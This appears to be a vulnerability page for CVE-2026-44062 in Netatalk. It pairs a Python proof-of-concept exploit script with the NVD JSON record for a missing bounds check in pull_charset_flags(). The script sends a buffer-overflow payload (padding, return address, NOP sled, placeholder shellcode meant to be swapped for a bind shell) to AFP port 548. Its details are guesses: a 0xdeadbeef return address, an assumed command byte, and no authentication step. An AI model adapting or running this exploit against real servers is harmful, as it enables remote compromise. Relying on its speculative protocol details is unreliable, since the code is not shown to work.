CVE-2026-44062

import socket import struct # CVE-2026-44062 PoC Concept for Netatalk # Target: Netatalk 2.0.4 - 4.4.2 # Description: Exploits missing bounds check in pull_charset_flags() def send_exploit(target_ip, target_port): try: # Establish TCP connection to AFP port (default 548) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # AFP Session Setup (Simplified DSI Header) # DSI Flags: Request (0x00) # DSI Command: OpenSession (0x04) dsi_header = struct.pack("!BBHII", 0x00, 0x04, 0, 0, 0) s.send(dsi_header) # Receive initial response to establish session context s.recv(1024) # Construct malicious payload # The vulnerability triggers in pull_charset_flags via crafted charset data # Padding to reach the return address offset offset = b"A" * 256 # Hypothetical return address (ROP gadget or JMP ESP) # This address needs to be adjusted based on the specific target version ret_addr = struct.pack("<I", 0xdeadbeef) # NOP sled followed by shellcode (e.g., bind shell) nop_sled = b"\x90" * 32 shellcode = b"\xcc" * 64 # Int3 for crash demonstration (Replace with actual shellcode) payload = offset + ret_addr + nop_sled + shellcode # Wrap payload in an AFP command that triggers charset parsing # Assuming command byte 0xXX triggers the vulnerable function path afp_command = b"\x14" + struct.pack(">H", len(payload)) + payload print(f"[*] Sending malicious payload to {target_ip}:{target_port}") s.send(afp_command) # Check for response or crash response = s.recv(1024) if not response: print("[+] Connection closed (Potential DoS or Crash)") else: print("[-] Server responded, exploitation might have failed.") s.close() except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": target = "192.168.1.10" port = 548 send_exploit(target, port)

{"cve": {"id": "CVE-2026-44062", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:21.797", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing output length bounds check in pull_charset_flags() in Netatalk 2.0.4 through 4.4.2 allows a remote authenticated attacker to execute arbitrary code or cause a denial of service via crafted character set data."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44062", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}